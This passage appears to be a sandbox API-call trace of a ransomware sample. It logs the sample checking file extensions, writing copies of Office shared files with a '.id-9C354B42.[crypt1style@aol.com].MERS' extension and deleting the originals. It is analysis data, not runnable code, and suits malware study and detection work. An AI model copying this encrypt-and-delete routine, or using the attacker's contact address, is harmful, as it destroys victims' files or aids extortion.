(lpString1=".bz2", lpString2="fest") returned -1 [0049.966] lstrlenW (lpString=".7z") returned 3 [0049.966] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0049.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0049.966] lstrlenW (lpString=".dbf") returned 4 [0049.966] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0049.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0049.966] lstrlenW (lpString=".1cd") returned 4 [0049.966] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0049.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0049.967] lstrlenW (lpString=".jpg") returned 4 [0049.967] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0049.967] lstrcmpiW (lpString1=".HLP", lpString2=".MERS") returned -1 [0049.967] lstrlenW (lpString="EQNEDT32.HLP") returned 12 [0049.967] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0049.967] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=176311) returned 1 [0049.967] CloseHandle (hObject=0x1c4) returned 1 [0049.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp")) returned 0x20 [0049.968] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0049.968] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0049.968] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.968] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.968] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0049.968] GetLastError () returned 0x0 [0049.968] ReadFile (in: hFile=0x1c4, lpBuffer=0x3a50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesRead=0x2ecfed4*=0x2b0b7, lpOverlapped=0x0) returned 1 [0049.972] WriteFile (in: hFile=0x214, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0x2b0c0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x2b0c0, lpOverlapped=0x0) returned 1 [0049.975] ReadFile (in: hFile=0x1c4, lpBuffer=0x3a50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0049.975] WriteFile (in: hFile=0x214, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.975] SetEndOfFile (hFile=0x214) returned 1 [0049.975] CloseHandle (hObject=0x214) returned 1 [0049.975] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.975] SetEndOfFile (hFile=0x1c4) returned 1 [0049.977] CloseHandle (hObject=0x1c4) returned 1 [0049.977] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0049.977] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp")) returned 1 [0049.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0049.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0049.977] lstrlenW (lpString=".doc") returned 4 [0049.977] lstrcmpiW (lpString1=".doc", lpString2=".HLP") returned -1 [0049.977] lstrlenW (lpString=".docx") returned 5 [0049.977] lstrcmpiW (lpString1=".docx", lpString2="2.HLP") returned -1 [0049.978] lstrlenW (lpString=".pdf") returned 4 [0049.978] lstrcmpiW (lpString1=".pdf", lpString2=".HLP") returned 1 [0049.978] lstrlenW (lpString=".xls") returned 4 [0049.978] lstrcmpiW (lpString1=".xls", lpString2=".HLP") returned 1 [0049.978] lstrlenW (lpString=".xlsx") returned 5 [0049.978] lstrcmpiW (lpString1=".xlsx", lpString2="2.HLP") returned -1 [0049.978] lstrlenW (lpString=".ppt") returned 4 [0049.978] lstrcmpiW (lpString1=".ppt", lpString2=".HLP") returned 1 [0049.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0049.978] lstrlenW (lpString=".zip") returned 4 [0049.978] lstrcmpiW (lpString1=".zip", lpString2=".HLP") returned 1 [0049.978] lstrlenW (lpString=".rar") returned 4 [0049.978] lstrcmpiW (lpString1=".rar", lpString2=".HLP") returned 1 [0049.978] lstrlenW (lpString=".bz2") returned 4 [0049.978] lstrcmpiW (lpString1=".bz2", lpString2=".HLP") returned -1 [0049.978] lstrlenW (lpString=".7z") returned 3 [0049.978] lstrcmpiW (lpString1=".7z", lpString2="HLP") returned -1 [0049.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0049.978] lstrlenW (lpString=".dbf") returned 4 [0049.978] lstrcmpiW (lpString1=".dbf", lpString2=".HLP") returned -1 [0049.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0049.978] lstrlenW (lpString=".1cd") returned 4 [0049.978] lstrcmpiW (lpString1=".1cd", lpString2=".HLP") returned -1 [0049.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0049.978] lstrlenW (lpString=".jpg") returned 4 [0049.978] lstrcmpiW (lpString1=".jpg", lpString2=".HLP") returned 1 [0049.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0049.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0049.978] lstrlenW (lpString=".doc") returned 4 [0049.978] lstrcmpiW (lpString1=".doc", lpString2=".HLP") returned -1 [0049.978] lstrlenW (lpString=".docx") returned 5 [0049.978] lstrcmpiW (lpString1=".docx", lpString2="2.HLP") returned -1 [0049.978] lstrlenW (lpString=".pdf") returned 4 [0049.978] lstrcmpiW (lpString1=".pdf", lpString2=".HLP") returned 1 [0049.978] lstrlenW (lpString=".xls") returned 4 [0049.978] lstrcmpiW (lpString1=".xls", lpString2=".HLP") returned 1 [0049.978] lstrlenW (lpString=".xlsx") returned 5 [0049.978] lstrcmpiW (lpString1=".xlsx", lpString2="2.HLP") returned -1 [0049.979] lstrlenW (lpString=".ppt") returned 4 [0049.979] lstrcmpiW (lpString1=".ppt", lpString2=".HLP") returned 1 [0049.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0049.979] lstrlenW (lpString=".zip") returned 4 [0049.979] lstrcmpiW (lpString1=".zip", lpString2=".HLP") returned 1 [0049.979] lstrlenW (lpString=".rar") returned 4 [0049.979] lstrcmpiW (lpString1=".rar", lpString2=".HLP") returned 1 [0049.979] lstrlenW (lpString=".bz2") returned 4 [0049.979] lstrcmpiW (lpString1=".bz2", lpString2=".HLP") returned -1 [0049.979] lstrlenW (lpString=".7z") returned 3 [0049.979] lstrcmpiW (lpString1=".7z", lpString2="HLP") returned -1 [0049.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0049.979] lstrlenW (lpString=".dbf") returned 4 [0049.979] lstrcmpiW (lpString1=".dbf", lpString2=".HLP") returned -1 [0049.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0049.979] lstrlenW (lpString=".1cd") returned 4 [0049.979] lstrcmpiW (lpString1=".1cd", lpString2=".HLP") returned -1 [0049.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0049.979] lstrlenW (lpString=".jpg") returned 4 [0049.979] lstrcmpiW (lpString1=".jpg", lpString2=".HLP") returned 1 [0049.979] lstrcmpiW (lpString1=".TTF", lpString2=".MERS") returned 1 [0049.979] lstrlenW (lpString="MTEXTRA.TTF") returned 11 [0049.979] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0049.980] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=7656) returned 1 [0049.980] CloseHandle (hObject=0x1c4) returned 1 [0049.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf")) returned 0x20 [0049.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0049.980] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0049.980] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.980] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.980] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0049.980] GetLastError () returned 0x0 [0049.980] ReadFile (in: hFile=0x1c4, lpBuffer=0x3a50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesRead=0x2ecfed4*=0x1de8, lpOverlapped=0x0) returned 1 [0050.078] WriteFile (in: hFile=0x214, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0x1df0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x1df0, lpOverlapped=0x0) returned 1 [0050.079] ReadFile (in: hFile=0x1c4, lpBuffer=0x3a50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0050.079] WriteFile (in: hFile=0x214, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xea, lpOverlapped=0x0) returned 1 [0050.079] SetEndOfFile (hFile=0x214) returned 1 [0050.080] CloseHandle (hObject=0x214) returned 1 [0050.080] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0050.080] SetEndOfFile (hFile=0x1c4) returned 1 [0050.081] CloseHandle (hObject=0x1c4) returned 1 [0050.081] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0050.081] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf")) returned 1 [0050.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0050.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0050.081] lstrlenW (lpString=".doc") returned 4 [0050.081] lstrcmpiW (lpString1=".doc", lpString2=".TTF") returned -1 [0050.081] lstrlenW (lpString=".docx") returned 5 [0050.081] lstrcmpiW (lpString1=".docx", lpString2="A.TTF") returned -1 [0050.081] lstrlenW (lpString=".pdf") returned 4 [0050.081] lstrcmpiW (lpString1=".pdf", lpString2=".TTF") returned -1 [0050.081] lstrlenW (lpString=".xls") returned 4 [0050.081] lstrcmpiW (lpString1=".xls", lpString2=".TTF") returned 1 [0050.081] lstrlenW (lpString=".xlsx") returned 5 [0050.081] lstrcmpiW (lpString1=".xlsx", lpString2="A.TTF") returned -1 [0050.081] lstrlenW (lpString=".ppt") returned 4 [0050.081] lstrcmpiW (lpString1=".ppt", lpString2=".TTF") returned -1 [0050.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0050.082] lstrlenW (lpString=".zip") returned 4 [0050.082] lstrcmpiW (lpString1=".zip", lpString2=".TTF") returned 1 [0050.082] lstrlenW (lpString=".rar") returned 4 [0050.082] lstrcmpiW (lpString1=".rar", lpString2=".TTF") returned -1 [0050.082] lstrlenW (lpString=".bz2") returned 4 [0050.082] lstrcmpiW (lpString1=".bz2", lpString2=".TTF") returned -1 [0050.082] lstrlenW (lpString=".7z") returned 3 [0050.082] lstrcmpiW (lpString1=".7z", lpString2="TTF") returned -1 [0050.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0050.082] lstrlenW (lpString=".dbf") returned 4 [0050.082] lstrcmpiW (lpString1=".dbf", lpString2=".TTF") returned -1 [0050.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0050.082] lstrlenW (lpString=".1cd") returned 4 [0050.082] lstrcmpiW (lpString1=".1cd", lpString2=".TTF") returned -1 [0050.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0050.082] lstrlenW (lpString=".jpg") returned 4 [0050.082] lstrcmpiW (lpString1=".jpg", lpString2=".TTF") returned -1 [0050.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0050.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0050.082] lstrlenW (lpString=".doc") returned 4 [0050.082] lstrcmpiW (lpString1=".doc", lpString2=".TTF") returned -1 [0050.082] lstrlenW (lpString=".docx") returned 5 [0050.082] lstrcmpiW (lpString1=".docx", lpString2="A.TTF") returned -1 [0050.082] lstrlenW (lpString=".pdf") returned 4 [0050.082] lstrcmpiW (lpString1=".pdf", lpString2=".TTF") returned -1 [0050.082] lstrlenW (lpString=".xls") returned 4 [0050.083] lstrcmpiW (lpString1=".xls", lpString2=".TTF") returned 1 [0050.083] lstrlenW (lpString=".xlsx") returned 5 [0050.083] lstrcmpiW (lpString1=".xlsx", lpString2="A.TTF") returned -1 [0050.083] lstrlenW (lpString=".ppt") returned 4 [0050.083] lstrcmpiW (lpString1=".ppt", lpString2=".TTF") returned -1 [0050.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0050.083] lstrlenW (lpString=".zip") returned 4 [0050.083] lstrcmpiW (lpString1=".zip", lpString2=".TTF") returned 1 [0050.083] lstrlenW (lpString=".rar") returned 4 [0050.083] lstrcmpiW (lpString1=".rar", lpString2=".TTF") returned -1 [0050.083] lstrlenW (lpString=".bz2") returned 4 [0050.083] lstrcmpiW (lpString1=".bz2", lpString2=".TTF") returned -1 [0050.083] lstrlenW (lpString=".7z") returned 3 [0050.083] lstrcmpiW (lpString1=".7z", lpString2="TTF") returned -1 [0050.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0050.083] lstrlenW (lpString=".dbf") returned 4 [0050.083] lstrcmpiW (lpString1=".dbf", lpString2=".TTF") returned -1 [0050.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0050.083] lstrlenW (lpString=".1cd") returned 4 [0050.083] lstrcmpiW (lpString1=".1cd", lpString2=".TTF") returned -1 [0050.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0050.083] lstrlenW (lpString=".jpg") returned 4 [0050.083] lstrcmpiW (lpString1=".jpg", lpString2=".TTF") returned -1 [0050.083] lstrcmpiW (lpString1=".DLL", lpString2=".MERS") returned -1 [0050.083] lstrlenW (lpString="MSOEURO.DLL") returned 11 [0050.083] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0050.084] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=31104) returned 1 [0050.084] CloseHandle (hObject=0x1c4) returned 1 [0050.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll")) returned 0x20 [0050.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0050.084] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0050.084] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0050.084] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0050.084] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0050.085] GetLastError () returned 0x0 [0050.085] ReadFile (in: hFile=0x1c4, lpBuffer=0x3a50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesRead=0x2ecfed4*=0x7980, lpOverlapped=0x0) returned 1 [0050.297] WriteFile (in: hFile=0x214, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0x7990, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x7990, lpOverlapped=0x0) returned 1 [0050.298] ReadFile (in: hFile=0x1c4, lpBuffer=0x3a50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0050.298] WriteFile (in: hFile=0x214, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xea, lpOverlapped=0x0) returned 1 [0050.299] SetEndOfFile (hFile=0x214) returned 1 [0050.299] CloseHandle (hObject=0x214) returned 1 [0050.299] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0050.299] SetEndOfFile (hFile=0x1c4) returned 1 [0050.300] CloseHandle (hObject=0x1c4) returned 1 [0050.300] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0050.300] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll")) returned 1 [0050.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0050.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0050.300] lstrlenW (lpString=".doc") returned 4 [0050.300] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0050.300] lstrlenW (lpString=".docx") returned 5 [0050.300] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0050.300] lstrlenW (lpString=".pdf") returned 4 [0050.300] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0050.300] lstrlenW (lpString=".xls") returned 4 [0050.300] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0050.300] lstrlenW (lpString=".xlsx") returned 5 [0050.300] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0050.300] lstrlenW (lpString=".ppt") returned 4 [0050.300] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0050.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0050.300] lstrlenW (lpString=".zip") returned 4 [0050.300] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0050.300] lstrlenW (lpString=".rar") returned 4 [0050.301] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0050.301] lstrlenW (lpString=".bz2") returned 4 [0050.301] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0050.301] lstrlenW (lpString=".7z") returned 3 [0050.301] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0050.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0050.301] lstrlenW (lpString=".dbf") returned 4 [0050.301] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0050.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0050.301] lstrlenW (lpString=".1cd") returned 4 [0050.301] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0050.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0050.301] lstrlenW (lpString=".jpg") returned 4 [0050.301] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0050.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0050.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0050.301] lstrlenW (lpString=".doc") returned 4 [0050.301] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0050.301] lstrlenW (lpString=".docx") returned 5 [0050.301] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0050.301] lstrlenW (lpString=".pdf") returned 4 [0050.301] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0050.301] lstrlenW (lpString=".xls") returned 4 [0050.301] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0050.301] lstrlenW (lpString=".xlsx") returned 5 [0050.301] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0050.301] lstrlenW (lpString=".ppt") returned 4 [0050.301] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0050.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0050.301] lstrlenW (lpString=".zip") returned 4 [0050.301] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0050.301] lstrlenW (lpString=".rar") returned 4 [0050.301] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0050.301] lstrlenW (lpString=".bz2") returned 4 [0050.301] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0050.301] lstrlenW (lpString=".7z") returned 3 [0050.301] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0050.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0050.302] lstrlenW (lpString=".dbf") returned 4 [0050.302] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0050.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0050.302] lstrlenW (lpString=".1cd") returned 4 [0050.302] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0050.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") 